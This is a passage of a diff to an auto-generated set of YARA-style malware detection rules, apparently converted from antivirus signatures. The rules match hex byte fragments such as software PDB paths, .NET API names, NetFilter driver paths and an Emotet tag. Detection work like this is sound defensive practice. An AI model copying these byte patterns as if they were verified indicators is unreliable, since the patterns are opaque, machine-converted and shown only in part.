33 34 35 70 61 63 6b 2e 73 65 72 76 69 63 65 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 32 33 34 35 50 61 63 6b 53 } //25180 - $a_53_13 = {72 76 69 63 65 2e 70 64 62 01 00 45 00 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 65 6d 70 6c 61 74 65 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 70 33 5f 6b 32 2e 70 64 62 01 00 3e 00 5c 64 6c 6c 70 6c 75 67 69 6e 5c 53 6f 66 74 77 61 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 5c } //24948 - $a_5c_14 = {65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 32 33 34 35 53 75 69 74 65 2e 70 64 62 01 00 57 02 5c 63 6f 64 65 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 65 6d 70 6c 61 74 65 5f 70 31 90 0f 01 00 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 70 31 90 0f 01 00 90 } //26978 + $a_6c_5 = {00 00 78 97 01 00 11 00 11 00 11 00 21 23 54 45 4c 3a 4d 53 49 4c 2f 53 75 73 70 43 75 73 74 6f 6d 41 63 74 69 6f 6e 2e 41 00 01 00 15 01 67 65 74 5f 43 75 73 74 6f 6d 41 63 74 69 6f 6e 44 61 74 61 00 01 00 14 01 48 74 74 70 4c 69 73 74 65 6e 65 72 52 65 71 75 65 73 74 00 01 00 0d 01 53 74 72 65 61 6d 52 65 61 64 } //18032 + $a_44_7 = {73 } //4608 s + $a_61_8 = {69 7a 65 4f 62 6a 65 63 74 00 01 00 14 01 52 65 73 6f 6c 76 65 45 76 65 6e 74 48 61 6e 64 6c 65 72 00 01 00 09 01 47 65 74 46 69 6c 65 73 00 01 00 11 01 47 65 74 44 69 72 65 63 74 6f 72 79 4e 61 6d 65 00 01 00 09 01 4c 6f 61 64 46 72 6f 6d 00 01 00 09 01 4c 6f 61 64 46 69 6c 65 00 01 00 0f 01 43 72 65 61 74 65 44 } //29285 + $a_67_9 = {74 65 00 01 00 0c 01 54 61 73 6b 41 77 61 69 74 65 72 00 01 00 09 01 67 65 74 5f 54 61 73 6b 00 01 00 17 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 75 69 6c 64 65 72 00 01 00 0a 01 45 6e 64 49 6e 76 6f 6b 65 00 01 00 0c 01 42 65 67 69 6e 49 6e 76 6f 6b 65 00 01 00 26 01 4d 69 63 72 6f 73 6f 66 } //27749 + $a_65_10 = {6c 6f 79 6d 65 6e 74 2e 57 69 6e 64 6f 77 73 49 6e 73 74 61 6c 6c 65 72 00 01 00 2e 03 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6a 00 73 00 6f 00 6e 00 90 02 08 2e 00 64 00 } //11892 + $a_00_11 = {00 90 00 00 00 78 97 01 00 66 00 66 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 4e 54 2f 4e 65 74 46 69 6c 74 65 72 2e 41 00 32 00 1a 01 4e 00 65 00 74 00 46 00 69 00 6c 00 74 00 65 00 72 00 20 00 53 00 44 00 4b 00 32 00 1c 01 6e 00 65 00 74 00 66 00 69 00 6c 00 74 00 65 00 72 00 32 00 2e 00 73 00 79 00 73 00 01 00 16 01 5c 00 } //108 + $a_00_12 = {76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 36 00 01 00 16 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 01 00 1c } //68 + $a_00_14 = {69 00 63 00 65 00 5c 00 54 00 63 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 36 00 46 00 6c 00 74 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 46 00 6c 00 } //101 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_65_2 & 1)*274+(#a_00_3 & 1)*25714+(#a_77_4 & 1)*17409+(#a_6c_5 & 1)*18032+(#a_00_6 & 1)*68+(#a_00_8 & 1)*101+(#a_00_9 & 1)*116+(#a_00_11 & 1)*101+(#a_6e_12 & 1)*25180+(#a_53_13 & 1)*24948+(#a_5c_14 & 1)*26978) >=15 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_65_2 & 1)*274+(#a_00_3 & 1)*25714+(#a_77_4 & 1)*17409+(#a_6c_5 & 1)*18032+(#a_44_7 & 1)*4608+(#a_61_8 & 1)*29285+(#a_67_9 & 1)*27749+(#a_65_10 & 1)*11892+(#a_00_11 & 1)*108+(#a_00_12 & 1)*68+(#a_00_14 & 1)*101) >=15 } -rule _InfrastructureShared_19022{ +rule _InfrastructureShared_20212{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,11 00 11 00 11 00 21 " + + strings : + $a_4c_0 = {4d 53 49 4c 2f 53 75 73 70 43 75 73 74 6f 6d 41 63 74 69 6f 6e 2e 41 00 01 00 15 01 67 65 74 5f 43 75 73 74 6f 6d 41 63 74 69 6f 6e 44 61 74 61 00 01 00 14 01 48 74 74 70 4c 69 73 74 65 6e 65 72 52 65 71 75 } //21539 + $a_00_1 = {01 00 0d 01 53 74 72 65 61 6d 52 65 61 64 65 72 00 01 00 12 01 44 65 73 65 72 69 61 6c 69 7a 65 4f 62 6a 65 63 74 00 01 00 14 01 52 65 73 6f 6c 76 65 45 76 65 6e 74 48 61 6e 64 6c 65 72 00 01 00 09 01 47 65 74 46 69 6c 65 73 00 01 00 11 01 47 65 74 44 69 72 65 63 74 6f 72 79 4e 61 6d 65 00 01 00 09 01 4c 6f 61 64 46 72 6f 6d 00 01 00 09 01 4c 6f } //29541 + $a_69_2 = {65 00 01 00 0f 01 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 00 01 00 0c 01 54 61 73 6b 41 77 61 69 74 65 72 00 01 00 09 01 67 65 74 5f 54 61 73 6b 00 01 00 17 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 } //25697 + $a_64_3 = {72 00 01 00 0a 01 45 6e 64 49 6e 76 6f 6b 65 00 01 00 0c 01 42 65 67 69 6e 49 6e 76 6f 6b 65 00 01 00 26 01 4d 69 63 72 6f 73 6f 66 74 2e 44 65 70 6c 6f 79 6d 65 6e 74 2e 57 69 6e 64 6f 77 73 49 6e 73 74 61 6c 6c 65 72 00 01 00 2e 03 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6a 00 73 00 6f 00 } //26997 + $a_02_4 = {08 2e 00 64 00 6c 00 6c 00 00 90 00 00 00 78 97 01 00 66 00 66 00 0c 00 21 23 48 53 54 52 3a 57 69 6e 4e 54 2f 4e 65 74 46 69 6c 74 65 72 2e 41 00 32 00 1a 01 4e 00 65 00 74 00 46 00 69 00 6c 00 74 00 65 00 72 00 20 00 53 00 44 00 4b 00 32 00 1c 01 6e 00 65 00 74 00 66 00 69 00 6c 00 74 00 65 00 72 00 32 00 2e 00 73 00 79 00 73 00 01 00 16 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 01 00 18 01 5c 00 44 } //110 + $a_00_6 = {65 00 5c 00 54 00 63 00 70 00 36 00 01 00 16 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 01 00 18 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 54 00 63 00 70 00 46 00 6c 00 74 00 01 } //105 + $a_5c_7 = {44 } //7680 D + $a_00_9 = {65 00 5c 00 54 00 63 00 70 00 36 00 46 00 6c 00 74 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 46 00 6c 00 74 00 01 00 1e 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 55 00 64 00 70 00 36 00 46 00 6c 00 74 00 01 00 1c 01 5c 00 44 00 65 00 76 00 69 00 63 } //105 + $a_00_11 = {72 00 6c 00 53 00 4d 00 01 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 43 00 74 00 72 00 6c 00 53 00 4d 00 00 00 78 98 01 00 01 00 01 00 05 00 21 23 48 53 54 52 3a 50 55 41 3a 32 33 34 35 50 64 62 53 74 72 69 6e 67 00 01 00 39 00 5c 4c 69 67 68 74 49 6e 73 74 50 61 63 6b 61 67 65 5c 62 69 6e 5c 72 65 6c 65 61 } //67 + $a_73_12 = {61 74 69 63 5c 4c 69 67 68 74 49 6e 73 74 50 61 63 6b 61 67 65 2e 70 64 62 01 00 50 00 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 2e 73 65 72 76 69 63 65 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 32 33 34 35 50 61 63 6b 53 } //25971 + $a_53_13 = {72 76 69 63 65 2e 70 64 62 01 00 45 00 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 65 6d 70 6c 61 74 65 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 70 33 5f 6b 32 2e 70 64 62 01 00 3e 00 5c 64 6c 6c 70 6c 75 67 69 6e 5c 53 6f 66 74 77 61 72 65 43 6f 6c 6c 65 63 74 69 6f 6e 5c } //24948 + $a_5c_14 = {65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 32 33 34 35 53 75 69 74 65 2e 70 64 62 01 00 57 02 5c 63 6f 64 65 5c 70 61 63 6b 5c 32 33 34 35 70 61 63 6b 5c 63 6f 6c 6c 65 63 74 69 6f 6e 5f 74 65 6d 70 6c 61 74 65 5f 70 31 90 0f 01 00 5c 62 69 6e 5c 57 69 6e 33 32 5c 72 65 6c 65 61 73 65 5f 73 74 61 74 69 63 5c 70 31 90 0f 01 00 90 } //26978 + $a_70_15 = {62 90 00 00 00 78 98 01 00 01 00 01 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 41 50 49 00 01 00 44 03 ff ff 6b c6 } //24578 + $a_01_16 = {fe } //-28539 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*29541+(#a_69_2 & 1)*25697+(#a_64_3 & 1)*26997+(#a_02_4 & 1)*110+(#a_00_6 & 1)*105+(#a_5c_7 & 1)*7680+(#a_00_9 & 1)*105+(#a_00_11 & 1)*67+(#a_73_12 & 1)*25971+(#a_53_13 & 1)*24948+(#a_5c_14 & 1)*26978+(#a_70_15 & 1)*24578+(#a_01_16 & 1)*-28539) >=17 + +} +rule _InfrastructureShared_20213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,66 00 66 00 0c 00 21 " @@ -233158,7 +247886,7 @@ rule _InfrastructureShared_19022{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*278+(#a_00_2 & 1)*92+(#a_00_4 & 1)*92+(#a_00_6 & 1)*101+(#a_00_7 & 1)*25188+(#a_61_8 & 1)*23552+(#a_62_9 & 1)*25972+(#a_70_10 & 1)*25972+(#a_01_11 & 1)*-28623) >=102 } -rule _InfrastructureShared_19023{ +rule _InfrastructureShared_20214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -233172,7 +247900,7 @@ rule _InfrastructureShared_19023{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*23552+(#a_62_2 & 1)*25972+(#a_70_3 & 1)*25972+(#a_01_4 & 1)*-28623) >=1 } -rule _InfrastructureShared_19024{ +rule _InfrastructureShared_20215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -233186,7 +247914,7 @@ rule _InfrastructureShared_19024{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*-2+(#a_00_2 & 1)*111+(#a_00_4 & 1)*61+(#a_00_6 & 1)*61) >=1 } -rule _InfrastructureShared_19025{ +rule _InfrastructureShared_20216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -233198,7 +247926,7 @@ rule _InfrastructureShared_19025{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_00_3 & 1)*61) >=5 } -rule _InfrastructureShared_19026{ +rule _InfrastructureShared_20217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -233210,7 +247938,7 @@ rule _InfrastructureShared_19026{ ((#a_54_0 & 1)*18467+(#a_a2_1 & 1)*53+(#a_11_3 & 1)*1043) >=5 } -rule _InfrastructureShared_19027{ +rule _InfrastructureShared_20218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -233222,7 +247950,7 @@ rule _InfrastructureShared_19027{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116+(#a_00_4 & 1)*115) >=5 } -rule _InfrastructureShared_19028{ +rule _InfrastructureShared_20219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -233238,7 +247966,7 @@ rule _InfrastructureShared_19028{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*18689+(#a_00_2 & 1)*49+(#a_00_3 & 1)*6658+(#a_73_4 & 1)*28261+(#a_2e_5 & 1)*29557+(#a_6d_6 & 1)*25390) >=6 } -rule _InfrastructureShared_19029{ +rule _InfrastructureShared_20220{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0b 00 21 " @@ -233258,7 +247986,7 @@ rule _InfrastructureShared_19029{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*11890+(#a_2e_2 & 1)*25968+(#a_73_3 & 1)*12090+(#a_6f_4 & 1)*12142+(#a_64_5 & 1)*25708+(#a_6f_6 & 1)*23609+(#a_2c_7 & 1)*12338+(#a_62_8 & 1)*25710+(#a_37_9 & 1)*11568+(#a_73_10 & 1)*25934) >=6 } -rule _InfrastructureShared_19030{ +rule _InfrastructureShared_20221{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -233276,7 +248004,7 @@ rule _InfrastructureShared_19030{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28257+(#a_5c_2 & 1)*25966+(#a_00_3 & 1)*10593+(#a_6d_4 & 1)*385+(#a_54_5 & 1)*21076+(#a_31_6 & 1)*12900+(#a_70_7 & 1)*20595+(#a_72_8 & 1)*11885) >=9 } -rule _InfrastructureShared_19031{ +rule _InfrastructureShared_20222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -233295,7 +248023,7 @@ rule _InfrastructureShared_19031{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*24909+(#a_65_2 & 1)*24942+(#a_79_3 & 1)*29806+(#a_98_4 & 1)*0+(#a_72_5 & 1)*30580+(#a_64_6 & 1)*29285+(#a_00_7 & 1)*28261+(#a_64_8 & 1)*385+(#a_57_9 & 1)*21076) >=10 } -rule _InfrastructureShared_19032{ +rule _InfrastructureShared_20223{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -233314,7 +248042,7 @@ rule _InfrastructureShared_19032{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24912+(#a_74_2 & 1)*28486+(#a_65_3 & 1)*24948+(#a_69_4 & 1)*14930+(#a_5c_5 & 1)*14337+(#a_6c_6 & 1)*28789+(#a_6f_7 & 1)*28781+(#a_73_8 & 1)*28265+(#a_68_9 & 1)*21294) >=10 } -rule _InfrastructureShared_19033{ +rule _InfrastructureShared_20224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -233334,7 +248062,7 @@ rule _InfrastructureShared_19033{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*27694+(#a_66_2 & 1)*21249+(#a_2e_3 & 1)*27497+(#a_54_4 & 1)*28261+(#a_61_5 & 1)*26982+(#a_61_6 & 1)*21294+(#a_63_7 & 1)*24899+(#a_69_8 & 1)*16999+(#a_31_9 & 1)*269+(#a_39_10 & 1)*25463) >=12 } -rule _InfrastructureShared_19034{ +rule _InfrastructureShared_20225{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -233359,7 +248087,7 @@ rule _InfrastructureShared_19034{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*385+(#a_00_2 & 1)*29554+(#a_50_3 & 1)*385+(#a_6d_4 & 1)*24912+(#a_2d_5 & 1)*12902+(#a_65_6 & 1)*30051+(#a_69_7 & 1)*12617+(#a_64_8 & 1)*26229+(#a_65_9 & 1)*14706+(#a_73_10 & 1)*24948+(#a_55_11 & 1)*21761+(#a_6e_12 & 1)*29300+(#a_6c_13 & 1)*26739+(#a_63_14 & 1)*26165+(#a_01_15 & 1)*28265) >=16 } -rule _InfrastructureShared_19035{ +rule _InfrastructureShared_20226{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -233382,7 +248110,7 @@ rule _InfrastructureShared_19035{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26996+(#a_6c_2 & 1)*18737+(#a_65_3 & 1)*24944+(#a_53_5 & 1)*8993+(#a_61_7 & 1)*24321+(#a_55_8 & 1)*19029+(#a_53_9 & 1)*-32763+(#a_00_10 & 1)*29801+(#a_72_11 & 1)*384+(#a_01_12 & 1)*25964+(#a_76_13 & 1)*18689+(#a_68_14 & 1)*25933+(#a_55_15 & 1)*30553) >=16 } -rule _InfrastructureShared_19036{ +rule _InfrastructureShared_20227{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 13 00 21 " @@ -233410,7 +248138,7 @@ rule _InfrastructureShared_19036{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*25934+(#a_46_2 & 1)*17989+(#a_32_3 & 1)*29806+(#a_65_4 & 1)*29797+(#a_49_5 & 1)*19770+(#a_72_6 & 1)*385+(#a_01_7 & 1)*20569+(#a_77_8 & 1)*20481+(#a_59_9 & 1)*32705+(#a_2f_10 & 1)*4864+(#a_67_11 & 1)*400+(#a_01_12 & 1)*29441+(#a_23_13 & 1)*787+(#a_01_14 & 1)*-28561+(#a_73_15 & 1)*400+(#a_00_16 & 1)*12033+(#a_00_17 & 1)*2+(#a_4c_18 & 1)*8993) >=18 } -rule _InfrastructureShared_19037{ +rule _InfrastructureShared_20228{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -233438,7 +248166,7 @@ rule _InfrastructureShared_19037{ ((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*27503+(#a_65_2 & 1)*385+(#a_4e_3 & 1)*30553+(#a_7f_4 & 1)*-8359+(#a_2a_6 & 1)*16431+(#a_23_7 & 1)*787+(#a_01_8 & 1)*-28561+(#a_73_9 & 1)*400+(#a_00_10 & 1)*12033+(#a_00_11 & 1)*2+(#a_4c_12 & 1)*8993+(#a_ff_13 & 1)*513+(#a_e9_14 & 1)*-14731+(#a_57_15 & 1)*12366+(#a_63_16 & 1)*16758+(#a_00_17 & 1)*20826+(#a_77_18 & 1)*16721+(#a_41_19 & 1)*18241) >=20 } -rule _InfrastructureShared_19038{ +rule _InfrastructureShared_20229{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -233463,7 +248191,7 @@ rule _InfrastructureShared_19038{ ((#a_6f_0 & 1)*21539+(#a_90_1 & 1)*257+(#a_2f_2 & 1)*4864+(#a_67_3 & 1)*400+(#a_01_4 & 1)*29441+(#a_25_5 & 1)*787+(#a_01_6 & 1)*-28561+(#a_73_7 & 1)*400+(#a_00_8 & 1)*12033+(#a_ff_9 & 1)*400+(#a_83_10 & 1)*17803+(#a_85_11 & 1)*27135+(#a_58_12 & 1)*27458+(#a_58_13 & 1)*12359+(#a_55_14 & 1)*16755+(#a_77_15 & 1)*16721) >=1 } -rule _InfrastructureShared_19039{ +rule _InfrastructureShared_20230{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -233474,7 +248202,7 @@ rule _InfrastructureShared_19039{ ((#a_46_0 & 1)*16675+(#a_08_1 & 1)*-29728) >=2 } -rule _InfrastructureShared_19040{ +rule _InfrastructureShared_20231{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -233489,7 +248217,7 @@ rule _InfrastructureShared_19040{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*26706+(#a_51_2 & 1)*16696+(#a_41_3 & 1)*17729+(#a_41_4 & 1)*16961+(#a_00_5 & 1)*55) >=2 } -rule _InfrastructureShared_19041{ +rule _InfrastructureShared_20232{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -233504,7 +248232,7 @@ rule _InfrastructureShared_19041{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*56+(#a_00_2 & 1)*34+(#a_00_4 & 1)*112+(#a_00_5 & 1)*1+(#a_4c_6 & 1)*21539) >=3 } -rule _InfrastructureShared_19042{ +rule _InfrastructureShared_20233{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -233521,7 +248249,7 @@ rule _InfrastructureShared_19042{ ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*9216+(#a_65_2 & 1)*25655+(#a_32_3 & 1)*24877+(#a_00_4 & 1)*45+(#a_00_6 & 1)*49+(#a_79_7 & 1)*28496+(#a_74_8 & 1)*25970) >=5 } -rule _InfrastructureShared_19043{ +rule _InfrastructureShared_20234{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -233537,7 +248265,7 @@ rule _InfrastructureShared_19043{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*14637+(#a_90_2 & 1)*11568+(#a_41_3 & 1)*11617+(#a_6e_4 & 1)*22330+(#a_70_5 & 1)*29817+(#a_6f_6 & 1)*29793) >=7 } -rule _InfrastructureShared_19044{ +rule _InfrastructureShared_20235{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -233555,7 +248283,7 @@ rule _InfrastructureShared_19044{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29547+(#a_6f_2 & 1)*29486+(#a_01_3 & 1)*24931+(#a_00_4 & 1)*78+(#a_00_5 & 1)*12337+(#a_40_7 & 1)*1515+(#a_73_8 & 1)*6912+(#a_72_9 & 1)*25974) >=10 } -rule _InfrastructureShared_19045{ +rule _InfrastructureShared_20236{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0c 00 21 " @@ -233573,7 +248301,7 @@ rule _InfrastructureShared_19045{ ((#a_54_0 & 1)*18467+(#a_65_2 & 1)*29300+(#a_69_3 & 1)*26977+(#a_2e_4 & 1)*30067+(#a_6e_5 & 1)*27247+(#a_00_6 & 1)*109+(#a_00_8 & 1)*112+(#a_00_10 & 1)*77+(#a_01_11 & 1)*30720) >=10 } -rule _InfrastructureShared_19046{ +rule _InfrastructureShared_20237{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1d 00 1d 00 09 00 21 " @@ -233589,7 +248317,7 @@ rule _InfrastructureShared_19046{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*72+(#a_00_2 & 1)*81+(#a_00_3 & 1)*108+(#a_65_4 & 1)*26994+(#a_00_6 & 1)*115+(#a_00_8 & 1)*101) >=29 } -rule _InfrastructureShared_19047{ +rule _InfrastructureShared_20238{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -233602,7 +248330,7 @@ rule _InfrastructureShared_19047{ ((#a_46_0 & 1)*21283+(#a_5c_1 & 1)*656+(#a_65_2 & 1)*23632+(#a_00_3 & 1)*110) >=1 } -rule _InfrastructureShared_19048{ +rule _InfrastructureShared_20239{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -233616,7 +248344,7 @@ rule _InfrastructureShared_19048{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11585+(#a_6f_2 & 1)*25933+(#a_72_3 & 1)*21605+(#a_00_5 & 1)*-25992) >=3 } -rule _InfrastructureShared_19049{ +rule _InfrastructureShared_20240{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -233631,7 +248359,7 @@ rule _InfrastructureShared_19049{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*11585+(#a_00_2 & 1)*83+(#a_00_3 & 1)*31277+(#a_69_4 & 1)*14930+(#a_c8_5 & 1)*18688) >=4 } -rule _InfrastructureShared_19050{ +rule _InfrastructureShared_20241{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -233647,7 +248375,7 @@ rule _InfrastructureShared_19050{ ((#a_54_0 & 1)*18467+(#a_b9_1 & 1)*0+(#a_01_2 & 1)*-29880+(#a_90_3 & 1)*-30392+(#a_74_4 & 1)*27493+(#a_20_6 & 1)*29734+(#a_5f_7 & 1)*25966) >=4 } -rule _InfrastructureShared_19051{ +rule _InfrastructureShared_20242{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0f 00 21 " @@ -233668,7 +248396,7 @@ rule _InfrastructureShared_19051{ ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*21340+(#a_4c_3 & 1)*20046+(#a_00_4 & 1)*30821+(#a_01_6 & 1)*30720+(#a_6f_7 & 1)*25938+(#a_6c_8 & 1)*26478+(#a_54_9 & 1)*20553+(#a_52_10 & 1)*21320+(#a_66_11 & 1)*11891+(#a_43_13 & 1)*11521+(#a_65_14 & 1)*23665) >=9 } -rule _InfrastructureShared_19052{ +rule _InfrastructureShared_20243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -233686,7 +248414,7 @@ rule _InfrastructureShared_19052{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*85+(#a_53_3 & 1)*19272+(#a_2e_4 & 1)*25955+(#a_55_5 & 1)*21333+(#a_31_6 & 1)*21588+(#a_53_7 & 1)*-32450+(#a_72_8 & 1)*30580+(#a_6e_9 & 1)*385) >=10 } -rule _InfrastructureShared_19053{ +rule _InfrastructureShared_20244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -233703,7 +248431,7 @@ rule _InfrastructureShared_19053{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*27759+(#a_6e_2 & 1)*385+(#a_65_3 & 1)*28261+(#a_3a_5 & 1)*17748+(#a_4e_7 & 1)*18689+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_19054{ +rule _InfrastructureShared_20245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 10 00 21 " @@ -233727,7 +248455,7 @@ rule _InfrastructureShared_19054{ ((#a_4c_0 & 1)*21539+(#a_33_1 & 1)*28769+(#a_01_2 & 1)*25445+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_9b_7 & 1)*0+(#a_c1_9 & 1)*-14333+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_9b_12 & 1)*0+(#a_00_13 & 1)*32+(#a_00_14 & 1)*105+(#a_00_15 & 1)*108) >=14 } -rule _InfrastructureShared_19055{ +rule _InfrastructureShared_20246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -233740,7 +248468,7 @@ rule _InfrastructureShared_19055{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0+(#a_03_3 & 